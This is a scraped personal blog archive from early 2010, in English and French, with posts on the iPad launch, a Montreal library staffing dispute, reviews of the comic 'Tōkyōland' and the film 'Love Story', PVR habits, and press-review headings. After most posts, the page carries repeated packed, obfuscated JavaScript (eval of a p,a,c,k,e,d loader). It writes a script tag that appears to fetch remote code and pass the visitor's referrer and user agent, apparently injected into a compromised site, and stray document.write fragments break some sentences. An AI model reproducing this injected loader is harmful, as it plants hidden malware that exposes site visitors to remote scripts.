eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zafie|var|u0026u|referrer|nznhy||js|php’.split(‘|’),0,{}))

More iPad press commentary

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & local politics

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

(updated at 18:12)

Apple officially announced its tablet: the iPad

Yesterday Apple finally announced its tablet. It is officially named the iPad (I know: it’s lame, document.write(“”); brings all sorts of jokes about female hygiene, and a name too similar to “iPod“ could cause confusion but who cares; it’s the product that counts, not the name). Opening Apple’s special event titled “Come see our latest creation” at the Yerba Buena Center in San Francisco, Steve Jobs first stated that “Apple is the largest mobile devices company in the world” and said that he chuckled when he saw The Wall Street Journal quote “Last time there was this much excitement about a tablet, it had some commandments written on it.” This quote is emblematic of all the rumors and hype that preceded the release of the iPad.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eizfh|var|u0026u|referrer|iinne||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbrdd|var|u0026u|referrer|zihyh||js|php’.split(‘|’),0,{}))

The device looks like an oversized iPod Touch—it is half-an-inch thick (12.7 mm), weights only 1.5 lbs (680 g) and offers a 9.7” (24.3 cm) LED-backlit Multi-Touch display (resolution of 1024×768 at 132dpi)—but has impressive specs: it’s powered by a 1 GHz Apple A4 chip, a minimum of 16 GB flash-drive (you can also get 32 GB and 64 GB) and a battery that should last 10 hours (or one month of stand-by). It also comes with a dock connector, a speaker, a microphone, a 3.5-mm stereo headphone jack, bluetooth 2.1, wiFi (802.11a/b/g/n), an accelerometer, an ambient light sensor, a digital compass and very few buttons (On/Off/Sleep/Wake, Mute, Volume, Home). It runs the iPhone/iPod Touch OS with optimized basic apps (Safari, Mail, Photos, Video, YouTube, iPod, iTunes, App Store, Maps, Notes, Calendar, Contacts) as well as any traditional iPhone/iPod Touch apps (in their original size or double-pixel, full screen format)—but, by its release time, many developpers will have produced versions of their apps optimized for the iPad. There are also two apps specific to the iPad: iWork for iPad (Pages, Numbers, & Keynote going for $9.99 each) and iBooks, the iPad eBooks reader (using ePub format, eBooks are downloadable from Apple’s iBookstore for $12.99 ~ $14.99).

The iPad also comes as an optional 3G model (that costs an extra $130 US) which offers assisted GPS location and cellular data-only connectivity (UMTS/HSDPA at 850, 1900, 2100 MHz and GSM/EDGE at 850, 900, 1800, 1900 MHz using a Micro-SIM card). The device is unlocked but Apple has strucked a very good deal with AT&T for the 3G service: 250 MB of data for $14.99/month or unlimited data for $29.99 US/month (all that contract-free, so you can cancel anytime). Several accessories are also available: a Dock ($29 US, to charge and sych the iPad or use it as a picture frame), the Keyboard Dock ($69 US, a dock that comes with a full-size keyboard, for those who dislike the onscreen keyboard), a Case ($39 US, to protect the iPad and that can also be used as a stand to type or watch videos), a Camera Connection Kit ($29 US, to import photos either via a USB cable or a SD card), a Dock Connector to VGA Adapter ($29 US, to connect the iPad to a projector or a monitor) and a 10W USB Power Adapter (to charge the iPad directly from a power outlet).

Now, what about pricing & availability? The price (see chart bellow, in $US) is probably the best and most surprising thing about the iPad. The WiFi version will be available in 60 days (late March) and the 3G version will come out in 90 days (late April).

I don’t understand why the tech press made plenty of negative comments about the iPad once it was announced. Of course, after so much hype, the “magical” device may appear a little disappointing, but it is still an excellent product. However, I admit that not everyone will need an iPad. It all depends on what you want from it and which other devices you already have. If you already own both an iPhone and a MacBook, for example, it is likely you would have little use of an iPad. In my case, since I own neither of them, I am not shy to say that it should fulfill my expectations and will certainly answer my needs. As I was currently shopping for a cheap netbook and a Kindle, I am convinced that I will find better than those two devices in a single iPad. You see, the best purchase I made in the last five years was definitely my iPod Touch: I use it constantly as portable internet device, to check weather & bus schedules, read news online, read eBooks, play a few games, listen to music, watch videos, etc. I always keep it close to me and I love it. My only complain is that the screen is a little too small to read or watch video (I am getting old and my eyes are not as good as they were). Therefore, I was searching for a similar device with a bigger (color) screen that would make it easier to read web pages or eBooks and to watch video. I believe that the iPad is, without contest, the best candidate for that. Many apps on my iPod Touch (among others [click for iTunes links] Documents To Go, newspapers readers like Le Monde, NY Times, Cyberpresse, etc., eBooks readers like Stanza, Kindle for iPhone, B&N eReader, Kobo, Comics, Go! Manga, etc., all the PixelMags magazine apps, or video streaming apps like NFB Films or Crunchyroll) will have their real raison d’être with the iPad. So I can’t wait to purchase one (my choice would go for a 16 GB 3G model: I currently own a 8 GB iPod Touch, so 16 GB should be plenty for my need and the 3G would be a great improvement on the WiFi-only iPod).

Unfortunately, much is still unknown about the iPad—What would be the Canadian price? Will there be an affordable 3G international deal for Canada (Jobs said that International deals will start being announced this summer, in June or July, but with Rogers or Bell who knows how long it will take or how expensive it could get)? Will we be able to read our own eBooks in different formats, like PDF?—and it is still a device far from perfection: the iBooks app (and consequently the iBookstore) will be available only in the U.S. (at least in the beginning), the iPad offers no multi-tasking capability, no SD card slot, no Flash support and no webcam. The logical decision would be to wait for the next generation of the device (or at least a few months) to give time for Apple to make improvements, but I know I will purchase one as soon as it is released anyway.

iPad Press Reviews

(updated 2010/02/02)

Développements dans l’affaire Frotey

Le site du “109 au 429” nous fait part de développements dans l’affaire Frotey (voir billet “Les Bibliothèques en Déclin?”): la suspension de Mr. Frotey a été réduite de trois à un jour. C’est un résultat très décevant (et qui comporte des conditions) puisque selon moi il n’aurait dû faire l’objet d’aucune sanction, document.write(“”); mais (compte tenu des résultats auxquels notre bon syndicat nous a récemment habitué) c’est encore beau que la durée de la suspension n’ait pas été augmenté!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sksit|var|u0026u|referrer|bfnaf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztire|var|u0026u|referrer|tyzrt||js|php’.split(‘|’),0,{}))

Dans la même ligne d’idée, l’équipe du Colvert a récemment émit un nouveau bulletin (
“Le Canardo Pressé”: Année 5, Numéro 1: Le Naufrage), daté du 15 janvier 2110 (sic), où ils déploraient le fait que les lettres d’ententes particulières avec certains arrondissements ont causé la fin—cette fois définitive—de la banque réseau en la rendant totalement ingérable.

Cette situation est loin d’être drôle. J’ai moi-même été témoin, bien malgré moi, du désordre et de la confusion que cette aberration provoque. J’ai été engagé à l’automne 2008 par l’arrondissement “A”, qui ne m’a pas donné de bloc d’heures avant l’été 2009, mais heureusement (grâce à la banque réseau) j’ai rapidement obtenu un bloc dans une bibliothèque de l’arrondissement “B” dès janvier 2009. Cet automne, comme je n’avait qu’un bloc dans l’arrondissement “C” (et plus aucun dans le “A”, considéré comme mon port d’attache) M. Roussel—qui gérait alors la banque réseau—proposa de changer mon port d’attache pour “C”. Vous me suivez? Après discussions entre les responsables des bibliothèques de “C” et “B”, il fut conclu que, comme mon premier bloc avait été attribué par “B,” mon port d’attache devrait donc y être. Tel fut fait et cela me permis de reprendre un bloc à “B”. Malheureusement, un employé de “B” (qui avait perdu son bloc à cause de mon retour) contesta l’attribution de mon port d’attache et de mon bloc dans “B.” Les différentes lettres d’ententes rendant la situation nébuleuse, plus personne ne savait vraiment ce qui en était, ce qui était la bonne procédure, ni même où était le haut et le bas. Après moult discussions, enquêtes et inquisitions (et beaucoup de stress de ma part), il fut décidé que le bon choix était en effet le “B”… Ne riez pas trop car cela pourrait bien vous arrivez aussi. C’est ce genre de situation, rendu bien compliqué par les lettres d’ententes, qui a sans doute convaincu M. Roussel de l’impossibilité de son travail à la banque réseau.

Toutefois cela a d’autres répercussion encore plus troublantes. Dorénavant les employés sont engagé uniquement par arrondissment ce qui rend la mobilité d’emploi à l’intérieure de la ville difficile sinon impossible. Le fonctionnement de ces nouvelles banques d’arrondissement n’est pas encore très clair. Y aura-t-il des listes d’éligibilité à l’emploi d’établie et, si oui, selon quels critères: l’ancienneté-ville? l’ancienneté-arrondissement? le nombre d’heures accumulées? Les nouveaux employés des bibliothèques, s’ils ne veulent pas être enfermé dans un seul arrondissement et s’ils veulent augmenter leur chances de faire un maximum d’heures, devront donc appliquer dans chaque arrondissement et soumettre leur disponibilité à chacune des banques d’arrondissement. Malheureusement, à ce jour, il n’existe aucune liste des responsables de ces banques d’arrondissement. Les nouveaux employés doivent donc se fier au bouche à oreille et obtenir l’information où contacter ces responsables de leur collègues plus anciens. Lorsqu’une telle liste sera établi, elle devra également être aisément disponible à tous (ici il est bon de rappeller que, dans certaines bibliothèques, l’intranet est rendu difficile sinon impossible à consulter par les employés qui n’ont pas de poste informatique désigné—la liste devra donc être ailleurs).

Il est impératif que la ville, le syndicat et les arrondissements se mettent à table pour s’assurer que l’imbroglio que cause ces lettres d’ententes soit clarifié au plus tôt. Car, pour l’instant, c’est franchement invivable. Et nous n’avons que le syndicat à blamer pour cette situation…

Finalement, le 19 janvier dernier, l’équipe du Colvert nous faisait parvenir un autre bulletin (“Le Canard Boiteux”: Année 3, #1: L’intelligence arrive) qui se moquait, par l’entremise d’une bande-dessinée, du projet d’automatisation à la bibliothèque Côte-des-Neiges qui devrait inclure une “chute intelligente.” J’ai moi-même porté attention sur cette bande-dessinée (dans le billet “This week in the press (2009-12-15)”) de la série Unshelved (voir aussi le billet “Unshelved”). Pour bien rigoler, il faut également lire les bandes subséquentes (particulièrement celles du 2009/10/20 et 2009/10/21).

This week in the press (2010-01-26)

Books, document.write(“”); Digital Edition & Library
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdnir|var|u0026u|referrer|eayds||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hthff|var|u0026u|referrer|tesfe||js|php’.split(‘|’),0,{}))

Economy, Environment & International Politics

Health & Influenza A(H1N1)

Humour


Media, Culture & Society

Montreal & local politics

Science & Technology

Obituary

See also the “Suggested Links (Shared Items)” in the column on the right side

(updated at 22:15 & 2009/01/28)

Tōkyōland

Pourquoi êtes-vous venu au Japon? Cette question qu’on me posait pour la 132e fois, document.write(“”); j’étais encore bien incapable d’y répondre. Pour y rejoindre Kayoko? Au début peut-être… Mais plus le temps passait, plus j’en doutais. Au-delà de ce qui m’avait poussé à partir pour Tokyo, il y avait ce qui m’y retenait, l’inconnu, des promesses d’aventures et… travailler chez des mangakas!” [Texte de couverture arrière]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdebk|var|u0026u|referrer|ybtys||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sysnt|var|u0026u|referrer|sfnrf||js|php’.split(‘|’),0,{}))

“Jean-Yves Brückman est un jeune dessinateur français qui se cherche. Il réalise un jour un vieux rêve : partir au Japon pour y vivre. Il se heurtera assez vite à l’apprentissage d’une vie d’immigré. Après plusieurs échecs professionnels, et bien qu’ignorant tout du manga, il deviendra assistant mangaka.” [Texte d’intro sur le site de l’éditeur]

T?ky?land m’a été recommandé par plusieurs amis et collèques: “T’es un fan de manga et du Japon alors tu vas certainement aimer cette superbe bédé” me disaient-ils. En effet, j’ai fini par l’emprunter à la bibliothèque publique et j’ai beaucoup apprécié. C’est un récit anecdotique où le “héros” raconte son expérience de voyage au Japon, dans un genre qui rappelle un peu le croisement entre la série Paul du dessinateur Québécois Michel Rabagliati et le film Lost in Translation de la réalisatrice Sofia Coppola. La première chose que l’on remarque en lisant T?ky?land, c’est son style un peu naïf, caractéristique de ce que l’on retrouve souvent ces temps-ci chez les “jeunes” auteurs qui font dans les récits de chronique sociale ou tranche-de-vie (Michel Rabagliati, Marjane Satrapi, Guy Delisle, etc). Malgré des arrière-plans relativement détaillés, le style est très simple et dégagé, mais offre des personnages aux traits sommaire, quasi-caricatural. C’est un style à mi-chemin entre le manga japonais et la bédé européenne: un dessin à l’encre, texturé de trames mais qui se distinque par l’ajout de vert pastel qui donne un peu plus de profondeur à la case.

Si le style de T?ky?land n’est pas pour plaire à tous, son histoire ne devrait pas laisser personne indifférent. Les mésaventures de Jean-Yves au pays du soleil levant trace un intéressant panorama de la culture japonaise et nous apprend beaucoup sur la société nippone et les différences culturelles qui la sépare de l’Occident. On découvre aussi de nombreux détails tant sur les “working-holiday” visas que sur le travail d’assistant mangaka. Tout cela n’est pas par hasard puisque Benjamin Reiss a vécu six ans au Japon—où il a entre autre travaillé comme assistant pour le mangaka Oiwa Kenji, l’artiste de Bienvenue dans la NHK. Il admet volontier dans des interviews que son récit est largement autobiographique. Mais une fois la lecture de T?ky?land terminée on reste un peu sur notre faim, se demandant si Jean-Yves retournera au Japon et espérant lire d’autres de ses mésaventures. Heureusement, Benjamin Reiss nous rassure en affirmant qu’une suite est déjà en train.

T?ky?land: Les aventures d’un Français au Japon, par Benjamin Reiss. Ed. 12 Bis, 2009. B&W (plus une couleur), 19 x 26 cm, 96 pgs. 15.00 € / $29.95 Can. Recommandé pour adolescents (14+). ISBN: 978-3-35648-068-2.
T?ky?land © 12 BIS, 2009.

Love Story

Harvard Law student Oliver Barrett IV falls in love with music student Jennifer Cavilleri. The fact that they are from two different social backgrounds (him from a rich and powerful family and her from the working class) doesn’t keep them from getting married. Oliver has always had issues with his father and he defies him once more with this marriage, document.write(“”); even if his father threatens to disown him. They build their life successfully and happily on their own until tragedy strikes. Love Story is considered one of the most romantic movie ever made. It tells of the love of a lifetime, the love between father and son, as “Love means never having to say you’re sorry.” It received seven Academy Award® nominations (including best picture, best director, best screenplay, best actor & actress and won one for best original score).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kznbn|var|u0026u|referrer|haknz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzbsz|var|u0026u|referrer|dinht||js|php’.split(‘|’),0,{}))

I saw this movie on TV maybe twenty years ago and didn’t remember anything about it save the hype that surrounded it. My wife—who saw it when she was in high-school in Japan (where it was extremely popular)—wanted to see it again, so we got it on DVD. I must admit that I was quite disappointed. It’s a rather average movie and doesn’t mesure up to all the hype: the acting is certainly okay and the haunting music by Francis Lai is excellent, but the sound quality (particularly in dialogues) is bad, the story has nothing exceptional and the editing is often annoying (I’m not sure exactly why, but the cuts feel amateurish and I spotted a few continuity problems). There’s definitely something missing in that movie. You feel that only half the story is told as they could have developped a little more the characters and put more details in their everyday life (at least another fifteen or twenty minutes). I feel like I watched a movie in fastforward. I didn’t feel any emotions in the characters (I didn’t shed a single tear, which is rare). Most of the hype came from the success of the book—which was written after the script but published before the release of the movie—and of the original score which became an instant classic. I was curious to see it again—and I’m glad I did—but the movie (and its cinematic techniques) didn’t aged well, so it’s worth seeing mostly for its part in the popular movie history.

Love Story. USA, 1970, 99 min.; Dir.: Arthur Hiller; Scr.: Erich Segal; Phot.: Richard C Kratina; Ed.: Robert C Jones; Art Dir.: Robert Gundlach; Set Decor.: Philip Smith; Cost. Des.: Alice Manougian Martin, Pearl Somner; Music: Francis Lai; Prod.: David Golden, Howard G Minsky; Cast: Ali MacGraw (Jennifer), Ryan O’Neal (Oliver), John Marley (Phil), Ray Milland (Oliver Barrett III), Katherine Balfour (Mrs Barrett), Tom Lee Jones (Hank). Rated PG / 14+ (Language, love scene).

Love Story ™ & © 1970 by Paramount Pictures. All Rights Reserved.

I am tired… of those stupid TV executives

My job can certainly be quite tiring although it’s not very physical—it’s even rather boring sometime—but I do lots of commuting and that can also be a drain on my energy. Sometimes I get so tired that I cannot do anything after work—and that’s a real drag for all my other projects like the anime specials I am trying to put together or this blog. However, document.write(“”); I always do my best to rest on my days off (after all my priority is now to stay healthy in order to work and be able to cover our living expenses). I guess I must have been quite tired yesterday because I slept nearly twelve hours! To make sure I was well rested I spent the rest of the day relaxing while watching a little TV, reading a book (a manga actually) or the newspaper and fiddling on the computer (reading more news, doing some updating, taking notes, trying to learn GarageBand, installing Chrome OS, etc.).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfki|var|u0026u|referrer|eserr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbsnh|var|u0026u|referrer|iynar||js|php’.split(‘|’),0,{}))

On another subject, some channels must really hate people with PVR (Personal Video Recorder—those cableboxes with an hard drive that can record two shows at a time, allow you to watch while recording and to fastforward the advert). I suppose they don’t like PVRs because their advertisers don’t like them either—since we can skip the advert (although, in my case, I do watch some adverts when they seem interesting, like the preview of a show or movie, a cool consummer product, etc.). Often, the people watching their TV on PVRs with a delay (a few hours to days later) are not counted in the ratings (the base for establishing the advert cost), therefore reducing the potential advertising income of TV stations. But this situation is slowly changing since delayed viewing on PVRs has started to be more and more frequent and is now calculated more often into the ratings.

Unfortunately, some TV stations still don’t like PVRs and—is it out of spite or simply to discourage viewers from using them?—often change the scheduling of a weekly show or let it run a few seconds or minutes over causing PVRs to record incomplete shows or sometime even fail to record them at all! I find this utterly annoying. This forces me to supplement the work of my PVR by also downloading some of the shows I am following in order to make sure I’ll be able to watch them in their entirety.

Another negative side effect of the PVR (and downloading) is that a reduced ratings will often cause the downfall or cancellation of a show when a larger part of the viewership is not watching the direct broadcast. This is particularly true for science-fiction or geeky TV series. TV executives—not very bright people, particularly at Fox—tend to count only the traditional ratings. I really hate those people. They seem to take a cruel pleasure in cancelling an excellent Sci-fi TV series which has a strong following amongst the geeky fans but that has not good ratings amongst the usual and mondane viewers… (There’s countless example of this: Space Above & Beyond, Babylon 5, Firefly, Terminator: The Sarah Connor Chronicles, Defying Gravity, Dollhouse, etc. — many of those on Fox)

Despite all that I still dearly love my PVR. It really changed my life and I don’t know how I was managing my TV watching before (I do vaguely remember recording one show at a time on a capricious VCR). With my hectic schedule I cannot necessarily watch a show at the moment it is broadcast, so now I can record one or two shows at a time for later watching. It is so convenient that I often PVR or download shows even when I am available to watch them in direct broadcast (then I simply jump in the show whenever I like and start watching from the start—and even skip the advert!).

It is surprising, when we think about it, how new technologies as simple as they are can completely change our lives so quickly. Of course such change is not always for the best. I do watch too much TV for my health. A recent study said that watching more than four hours of TV per day could seriously reduce our life expectancy. Maybe I should cut my viewing time and read more books instead—I would probably have more time to think or to write. However, TV is addictive they say. But, frankly, getting a story told either in writing as a book or in pictures as a TV broadcast isn’t that different, isn’t it? I guess, with a book, more is left to the imagination, making the brain work harder… But isn’t that more tiring? 😉

This week in the press (2010-01-19)

This was a very busy week for the news junkies. In my usual bilingual mix, document.write(“”); here are the stories that caught my interest amongst the outpouring of reports on the Haiti earthquake…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztzty|var|u0026u|referrer|tsrff||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teekk|var|u0026u|referrer|ydysb||js|php’.split(‘|’),0,{}))

Books, Digital Edition & Library

Economy, Environment & International Politics

Health & Influenza A(H1N1)

Humour


Media, Culture & Society

Montreal & local politics

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

This week in the press (2010-01-12)

Books, document.write(“”); Digital Edition & Library
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hefis|var|u0026u|referrer|zhhdt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttaei|var|u0026u|referrer|iayed||js|php’.split(‘|’),0,{}))

Economy, Environment & Politics

Health & Influenza A(H1N1)

Humour


Media, Culture & Society

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/01/06)

Digital Edition & Library
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfaik|var|u0026u|referrer|sdasz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkbsb|var|u0026u|referrer|binyr||js|php’.split(‘|’),0,{}))

Economy, document.write(“”); Environment & Politics

Health & Influenza A(H1N1)

Media & Culture

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

This week in the press (2010-01-02)

Digital Edition & Library
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kytfk|var|u0026u|referrer|drdbb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hesnb|var|u0026u|referrer|irafi||js|php’.split(‘|’),0,{}))

Environment & Politics

Humour

Influenza A(H1N1)

Media & Culture

Science & Technology

See also the “Suggested Links (Shared Items)” in the column on the right side

A new beginning?

Once again I want to wish you all the best for the New Year and for this second decade of the Twenty-first century that we are now just beginning. Hopefully it will bring better days than the first one. May you all get what you desire the most. [ More >> ]

I have spent the last day of the year setting up some new bookshelves that I got from my parents who were moving to a new appartment in their retirement home (more on that later). I have so many books and dvds that they were pilling up and some new shelves were quite welcomed. The need to make space for them also prompted a clean up spree to get rid of the clutter and dust that had accumulated over time because we’ve been so busy this last year. So much of that remain to do… I finished the evening (unfortunately alone, since my wife was working) switching between the French Radio-Canada year-end’s programming and Anderson Cooper’s New Year count-down on CNN (I don’t know if anyone gets the irony of the American starting a new year by “dropping the ball” !).

